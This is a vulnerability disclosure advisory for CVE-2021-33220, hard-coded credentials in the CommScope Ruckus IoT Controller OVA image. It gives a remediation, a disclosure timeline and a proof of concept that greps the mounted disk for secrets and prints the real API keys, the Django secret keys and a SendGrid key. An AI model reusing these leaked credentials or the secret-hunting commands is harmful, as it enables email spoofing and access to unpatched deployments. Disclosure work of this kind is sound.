Vulnerability Details

Affected Vendor: CommScope
Affected Product: Ruckus IoT Controller
Affected Version: 1.7.1.0 and earlier
Platform: Linux
CWE Classification: CWE-798: Use of Hard-coded Credentials
CVE ID: CVE-2021-33220

Vulnerability Description

API keys for CommScope Ruckus are included in the IoT
Controller OVA image, and are exposed to attackers who mount
the filesystem.

Technical Description

Ruckus vRIoT server software is available from the software
library at: https://support.ruckuswireless.com/software/

Once the OVA is imported into VirtualBox, a VMDK file is
created. The VMDK file can be mounted and the directory
structure and its contents can be perused. The virtual appliance
contains clear text API keys that are hard-coded into the
web application code. The API keys can be abused to gain
information about deployed assets and send email via SendGrid
as Commscope/Ruckus. While the AWS SECRET_KEY is exposed,
an ACCESS_KEY is not.

Mitigation and Remediation Recommendation

The vendor has released an updated firmware (1.8.0.0) which
remediates the described vulnerability. Firmware and release
notes are available at:

https://www.commscope.com/globalassets/digizuite/917216-faq-security-advisory-id-20210525-v1-0.pdf

Credit

This vulnerability was discovered by Jim Becher (@jimbecher)
of KoreLogic, Inc.

Disclosure Timeline

2021.03.30 - KoreLogic submits vulnerability details to
CommScope.
2021.03.30 - CommScope acknowledges receipt and the intention
to investigate.
2021.04.06 - CommScope notifies KoreLogic that this issue,
along with several others reported by KoreLogic,
will require more than the standard 45 business
day remediation timeline.
2021.04.06 - KoreLogic agrees to extend disclosure embargo if
necessary.
2021.04.30 - CommScope informs KoreLogic that remediation for
this vulnerability will be available inside of the
standard 45 business day timeline. Requests
KoreLogic acquire CVE number for this
vulnerability.
2021.05.14 - 30 business days have elapsed since the
vulnerability was reported to CommScope.
2021.05.17 - CommScope notifies KoreLogic that the patched
version of the firmware will be available the week
of 2021.05.24.
2021.05.19 - KoreLogic requests CVE from MITRE.
2021.05.19 - MITRE issues CVE-2021-33220.
2021.05.25 - CommScope releases firmware 1.8.0.0 and associated
advisory.
2021.05.26 - KoreLogic public disclosure.

Proof of Concept

With the VMDK file mounted at the current working directory:
root@vriot:/# grep -R ‘KIO_API_KEY’ /VRIOT/ 2>/dev/null
./VRIOT/backend/settings/defaults.py:KIO_API_KEY = os.environ.get(“KIO_API_KEY”, “wxtPbzgNNWFlfBqhDfEDoZkQUxtnhWTq”)

$ egrep -r ‘SECRET_KEY|ACCESS_KEY’ ./VRIOT/*
./VRIOT/authServer/app/baseapp/settings.py:SECRET_KEY = ‘db$04-yk#-3&=54s78d-tvu!+e3#621kj9s!3g$x3t^@m1m6#i’
./VRIOT/backend/settings/settings.py:SECRET_KEY = ‘%u9-#a6eo0!ukif-+kcg3=gc-zlh8o3@)rz@!-74(g*xa0c#bb’
Binary file ./VRIOT/backend/lora/lorawan1.6.0.0.tar matches
Binary file ./VRIOT/ops/scripts/image_push.pyc matches
./VRIOT/ops/sqlite_modules/aws4/README.md:// or it can get credentials from process.env.AWS_ACCESS_KEY_ID, etc
./VRIOT/ops/sqlite_modules/aws4/README.md:export AWS_ACCESS_KEY_ID=“<your-access-key-id>”
./VRIOT/ops/sqlite_modules/aws4/README.md:export AWS_SECRET_ACCESS_KEY=“<your-secret-access-key>”
./VRIOT/ops/sqlite_modules/aws4/README.md:(will also use AWS_ACCESS_KEY and AWS_SECRET_KEY if available)
./VRIOT/ops/sqlite_modules/aws4/aws4.js: accessKeyId: env.AWS_ACCESS_KEY_ID || env.AWS_ACCESS_KEY,
./VRIOT/ops/sqlite_modules/aws4/aws4.js: secretAccessKey: env.AWS_SECRET_ACCESS_KEY || env.AWS_SECRET_KEY,

$ more ./VRIOT/authServer# more app/baseapp/settings.py
…

Email server settings.

EMAIL_HOST = ‘smtp.sendgrid.net’
EMAIL_HOST_USER = ‘apikey’
EMAIL_HOST_PASSWORD = ‘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’
EMAIL_PORT = 587
EMAIL_USE_TLS = True
…

Per https://sendgrid.com/docs/API_Reference/SMTP_API/integrating_with_the_smtp_api.html,
the SendGrid password identified above is actually an API key, which can be
used with the ‘apikey’ user to send email through the SendGrid platform as
Commscope Ruckus.